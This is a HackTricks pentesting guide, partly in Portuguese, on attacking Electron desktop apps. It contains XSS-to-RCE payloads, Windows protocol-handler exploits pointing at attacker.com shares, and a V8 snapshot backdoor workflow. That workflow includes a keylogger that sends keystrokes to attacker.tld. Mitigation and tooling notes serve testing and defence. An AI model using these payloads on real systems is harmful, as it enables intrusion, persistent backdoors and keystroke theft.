Electron Desktop Apps
Reading time: 23 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Introduction
Electron combines a local backend (with NodeJS) and a frontend (Chromium), although carece de alguns dos mecanismos de segurança dos navegadores modernos.
Normalmente, você pode encontrar o código do aplicativo Electron dentro de um arquivo .asar; para obter o código, é preciso extraí-lo:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
No código-fonte de um aplicativo Electron, dentro de packet.json, você pode encontrar especificado o arquivo main.js onde as configurações de segurança são definidas.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron possui 2 tipos de processos:
- Main Process (possui acesso completo ao NodeJS)
 - Renderer Process (deveria ter acesso ao NodeJS restrito por motivos de segurança)
 
.png)
Um renderer process será uma janela do navegador carregando um arquivo:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Settings of the renderer process can be configured in the main process inside the main.js file. Some of the configurations will prevent the Electron application to get RCE or other vulnerabilities if the settings are correctly configured.
The electron application could access the device via Node apis although it can be configure to prevent it:
nodeIntegration- estáoffpor padrão. Se ativado, permite acessar recursos do Node a partir do renderer process.contextIsolation- estáonpor padrão. Seoff, main e renderer processes não estão isolados.preload- vazio por padrão.sandbox- estáoffpor padrão. Vai restringir as ações que o NodeJS pode executar.- Node Integration em Workers
 nodeIntegrationInSubframes- estáoffpor padrão.- Se 
nodeIntegrationestiver ativado, isso permitiria o uso das Node.js APIs em páginas web que são carregadas em iframes dentro de uma aplicação Electron. - Se 
nodeIntegrationestiver desativado, então os preloads serão carregados no iframe 
Example of configuration:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Alguns RCE payloads de here:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Capturar tráfego
Modifique a configuração start-main e adicione o uso de um proxy como:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Se você pode executar localmente um Electron App, é possível que você consiga fazê-lo executar código JavaScript arbitrário. Veja como em:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Se a nodeIntegration estiver definida como on, o JavaScript de uma página web pode usar recursos do Node.js facilmente apenas chamando o require(). Por exemplo, a forma de executar a aplicação calc no Windows é:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
O script indicado nesta configuração é carregado antes de outros scripts no renderer, portanto tem acesso ilimitado às Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Portanto, o script pode exportar node-features para páginas:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Se
contextIsolationestiver ativado, isso não funcionará
RCE: XSS + contextIsolation
O contextIsolation introduz os contextos separados entre os scripts da página web e o código JavaScript interno do Electron para que a execução JavaScript de cada um não afete o outro. Esta é uma funcionalidade necessária para eliminar a possibilidade de RCE.
Se os contextos não estiverem isolados, um atacante pode:
- Executar JavaScript arbitrário no renderer (XSS ou navegação para sites externos)
 - Sobrescrever o método built-in que é usado no preload ou no código interno do Electron para assumir controle da função
 - Acionar o uso da função sobrescrita
 - RCE?
 
Existem 2 lugares onde métodos built-int podem ser sobrescritos: no preload code ou no código interno do Electron:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Bypass click event
Se houver restrições aplicadas quando você clica em um link, talvez você consiga bypassá-las fazendo um middle click em vez de um left click regular
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Para mais informações sobre estes exemplos confira https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/
Ao distribuir um aplicativo desktop Electron, garantir as configurações corretas para nodeIntegration e contextIsolation é crucial. Está estabelecido que client-side remote code execution (RCE) direcionado a preload scripts ou ao código nativo do Electron a partir do processo principal é efetivamente prevenido com essas configurações em vigor.
Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos específicos são acionados, os quais são cruciais para a segurança e funcionalidade da aplicação:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Esses listeners são sobrescritos pela aplicação desktop para implementar sua própria lógica de negócio. A aplicação avalia se um link navegável deve ser aberto internamente ou em um navegador web externo. Essa decisão é tipicamente tomada por meio de uma função, openInternally. Se essa função retornar false, isso indica que o link deve ser aberto externamente, utilizando a função shell.openExternal.
Aqui está um pseudocódigo simplificado:
.png)
.png)
As melhores práticas de segurança do Electron JS aconselham não aceitar conteúdo não confiável com a função openExternal, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem disparar RCE. Para exemplos detalhados e explicações adicionais sobre este tópico, pode-se consultar this resource, que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
No macos, a função openExternal pode ser explorada para executar comandos arbitrários, como em shell.openExternal('file:///System/Applications/Calculator.app').
Exemplos de exploits de protocolos do Windows incluem:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Esta vulnerabilidade pode ser encontrada em this report.
O webviewTag é um recurso obsoleto que permite o uso de NodeJS no renderer process, e deve ser desativado, pois permite carregar um script dentro do preload context como:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Portanto, um atacante que conseguir carregar uma página arbitrária poderia usar essa tag para carregar um preload script arbitrário.
Esse preload script foi então abusado para chamar um serviço IPC vulnerável (skype-new-window) que invocava shell.openExternal para obter RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Leitura de Arquivos Internos: XSS + contextIsolation
Desabilitar contextIsolation permite o uso de tags <webview>, semelhantes a <iframe>, para ler e exfiltrar arquivos locais. Um exemplo mostra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:
.png)
Além disso, outro método para ler um arquivo interno é compartilhado, destacando uma vulnerabilidade crítica de leitura de arquivo local em um Electron desktop app. Isso envolve injetar um script para explorar o aplicativo e exfiltrar dados:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + chromium antigo
Se o chromium usado pela aplicação for antigo e houver vulnerabilidades conhecidas nele, pode ser possível explorar isso e obter RCE através de um XSS.
Você pode ver um exemplo neste writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via bypass de regex de URL interna
Supondo que você encontrou um XSS mas você não consegue disparar RCE ou roubar arquivos internos, você poderia tentar usá-lo para roubar credenciais via phishing.
Antes de tudo, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
A chamada para openInternally vai decidir se o link será aberto na janela do desktop por ser um link pertencente à plataforma, ou se será aberto no browser como um recurso 3rd party.
No caso de o regex usado pela função ser vulnerável a bypasses (por exemplo por não escapar os pontos dos subdomínios), um atacante poderia abusar do XSS para abrir uma nova janela que ficará localizada na infraestrutura do atacante pedindo credenciais ao usuário:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Protocolo file://
As mentioned in the docs páginas executadas em file:// têm acesso unilateral a todos os arquivos da sua máquina, o que significa que vulnerabilidades XSS podem ser usadas para carregar arquivos arbitrários do computador do usuário. Usar um protocolo personalizado previne problemas como esse, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos.
Módulo remote
O Módulo Remote do Electron permite que os processos renderer acessem as APIs do processo principal, facilitando a comunicação dentro de uma aplicação Electron. Contudo, habilitar esse módulo introduz riscos significativos de segurança. Ele amplia a superfície de ataque da aplicação, tornando-a mais suscetível a vulnerabilidades como cross-site scripting (XSS) attacks.
tip
Embora o módulo remote exponha algumas APIs do processo principal para os processos renderer, não é simples obter RCE apenas abusando dos componentes. Entretanto, os componentes podem expor informações sensíveis.
warning
Muitas aplicações que ainda usam o módulo remote fazem isso de forma que exige que o NodeIntegration esteja habilitado no processo renderer, o que é um enorme risco de segurança.
Desde o Electron 14, o módulo remote do Electron pode ser ativado de várias maneiras; por motivos de segurança e desempenho é recomendado não usá-lo.
Para habilitá-lo, primeiro é necessário ativá-lo no processo principal:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Então, o processo renderer pode importar objetos do módulo assim:
import { dialog, getCurrentWindow } from '@electron/remote'
O blog post indica algumas funções interessantes expostas pelo objeto app do módulo remote:
app.relaunch([options])- Reinicia o app encerrando a instância atual e lançando uma nova. Útil para atualizações do app ou mudanças significativas de estado.
 app.setAppLogsPath([path])- Define ou cria um diretório para armazenar logs do app. Os logs podem ser recuperados ou modificados usando 
app.getPath()ouapp.setPath(pathName, newPath). app.setAsDefaultProtocolClient(protocol[, path, args])- Registra o executável atual como o manipulador padrão para um protocolo especificado. Você pode fornecer um caminho personalizado e argumentos se necessário.
 app.setUserTasks(tasks)- Adiciona tasks à categoria Tasks no Jump List (no Windows). Cada task pode controlar como o app é iniciado ou quais argumentos são passados.
 app.importCertificate(options, callback)- Importa um certificado PKCS#12 para o armazenamento de certificados do sistema (apenas Linux). Um callback pode ser usado para tratar o resultado.
 app.moveToApplicationsFolder([options])- Move o app para a Applications folder (no macOS). Ajuda a garantir uma instalação padrão para usuários Mac.
 app.setJumpList(categories)- Define ou remove um Jump List customizado no Windows. Você pode especificar categorias para organizar como as tasks aparecem para o usuário.
 app.setLoginItemSettings(settings)- Configura quais executáveis são iniciados no login junto com suas opções (apenas macOS e Windows).
 
Exemplo:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
módulo systemPreferences
A API principal para acessar as preferências do sistema e emitir eventos do sistema no Electron. Métodos como subscribeNotification, subscribeWorkspaceNotification, getUserDefault e setUserDefault fazem todos parte deste módulo.
Exemplo de uso:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Escuta por native macOS notifications usando NSDistributedNotificationCenter.
 - Antes do macOS Catalina, você podia sniffar todas as distributed notifications passando nil para CFNotificationCenterAddObserver.
 - Após Catalina / Big Sur, apps sandboxed ainda podem subscribe a muitos eventos (por exemplo, screen locks/unlocks, volume mounts, network activity, etc.) registrando notifications por name.
 
getUserDefault / setUserDefault
- 
Interage com NSUserDefaults, que armazena preferências da aplicação ou globais no macOS.
 - 
getUserDefault pode recuperar informação sensível, como localizações de arquivos recentes ou localização geográfica do usuário.
 - 
setUserDefault pode modificar essas preferências, potencialmente afetando a configuração de um app.
 - 
Em versões antigas do Electron (antes da v8.3.0), apenas o standard suite de NSUserDefaults era acessível.
 
Shell.showItemInFolder
Esta função mostra o arquivo dado em um file manager, o que poderia executar automaticamente o arquivo.
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Electron apps should have a Content Security Policy (CSP) to prevent XSS attacks. The CSP is a security standard that helps prevent the execution of untrusted code in the browser.
It's usually configured in the main.js file or in the index.html template with the CSP inside a meta tag.
For more information check:
Content Security Policy (CSP) Bypass
RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included 
style-src 'self' 'unsafe-inline', allowing inline/style-based injection in avscode-webview://context. The payload sent a request to/stealIDto exfiltrate the target webview’s extensionId. - Constructing target webview URL: Usando o ID leak para construir 
vscode-webview://<extensionId>/.../<publicUrl>. - Second XSS via postMessage trust: The outer webview trusted 
window.postMessagewithout strict origin/type checks and loaded attacker HTML withallowScripts: true. - Local file loading via scheme/path rewriting: The payload rewrote 
file:///...tovscode-file://vscode-app/...and swappedexploit.mdforRCE.html, abusing weak path validation to load a privileged local resource. - RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
 
Example RCE primitive in the final context
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe');            // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
Leitura relacionada sobre questões de confiança do postMessage:
Ferramentas
- Electronegativity é uma ferramenta para identificar configurações incorretas e anti-patterns de segurança em aplicações baseadas em Electron.
 - Electrolint é um plugin de código aberto para VS Code para aplicações Electron que usa Electronegativity.
 - nodejsscan para verificar bibliotecas de terceiros vulneráveis
 - Electro.ng: É necessário comprá-lo
 
Laboratórios
Em https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s você pode encontrar um laboratório para explorar aplicações Electron vulneráveis.
Alguns comandos que vão te ajudar com o laboratório:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Backdoor local via manipulação do snapshot do heap V8 (Electron/Chromium) – CVE-2025-55305
Apps baseados em Electron e Chromium desserializam um snapshot prebuilt do heap V8 na inicialização (v8_context_snapshot.bin, e opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Historicamente, os fuses de integridade do Electron não tratavam esses snapshots como conteúdo executável, então eles escapavam tanto da enforcement baseada em fuses quanto das verificações de code-signing do SO. Como resultado, substituir o snapshot em uma instalação gravável pelo usuário permitia execução de código persistente e furtiva dentro do app sem modificar os binários assinados ou o ASAR.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validam o JavaScript do app dentro do ASAR, mas não cobriam snapshots do heap V8 (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
 - Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
 - Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
 - Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
 
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
 
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (run different code in main vs. renderer)
- Detecção do processo main: variáveis globais exclusivas do Node como process.pid, process.binding(), ou process.dlopen estão presentes no isolate do processo main.
 - Detecção de Browser/renderer: variáveis globais exclusivas do Browser como alert estão disponíveis quando executado em um contexto de documento.
 
Exemplo de gadget que sonda as capacidades do Node no processo main uma vez
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
Renderer/browser-context PoC de roubo de dados (por exemplo, Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
Fluxo de trabalho do operador
- Escreva payload.js que sobrescreve um builtin comum (por exemplo, Array.isArray) e opcionalmente ramifica por isolate.
 - Construa o snapshot sem os fontes do Chromium:
 
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
 
- Substitua o(s) arquivo(s) de snapshot da aplicação alvo:
 
- v8_context_snapshot.bin (sempre utilizado)
 - browser_v8_context_snapshot.bin (se o fuse LoadBrowserProcessSpecificV8Snapshot estiver em uso)
 
- Inicie o aplicativo; o gadget executa sempre que o builtin escolhido for usado.
 
Notas e considerações
- Bypass de integridade/assinatura: Os arquivos de snapshot não são tratados como executáveis nativos pelas verificações de code-signing e (historicamente) não eram cobertos pelos fuses do Electron ou pelos controles de integridade do Chromium.
 - Persistência: Substituir o snapshot em uma instalação gravável pelo usuário normalmente sobrevive a reinicializações do app e parece um app legítimo e assinado.
 - Chromium browsers: O mesmo conceito de adulteração se aplica ao Chrome/derivados instalados em locais graváveis pelo usuário. Chrome tem outras mitigações de integridade, mas exclui explicitamente ataques fisicamente locais do seu modelo de ameaça.
 
Detecção e mitigação
- Trate snapshots como conteúdo executável e inclua-os na aplicação de integridade (CVE-2025-55305 fix).
 - Prefira locais de instalação graváveis apenas por admin; estabeleça linha de base e monitore hashes para v8_context_snapshot.bin e browser_v8_context_snapshot.bin.
 - Detecte sobrescritas de builtin em runtime inicial e alterações inesperadas de snapshot; alerte quando snapshots desserializados não corresponderem aos valores esperados.
 
References
- Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more
 - Electron fuses
 - Electron ASAR integrity
 - V8 custom startup snapshots
 - electron/mksnapshot
 - MITRE ATT&CK T1218.015
 - Loki C2
 - Chromium: Disable loading of unsigned code (CIG)
 - Chrome security FAQ: physically local attacks out of scope
 - https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
 - https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
 - https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
 - https://www.youtube.com/watch?v=a-YnG3Mx-Tg
 - https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
 - More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
 - https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
 - https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks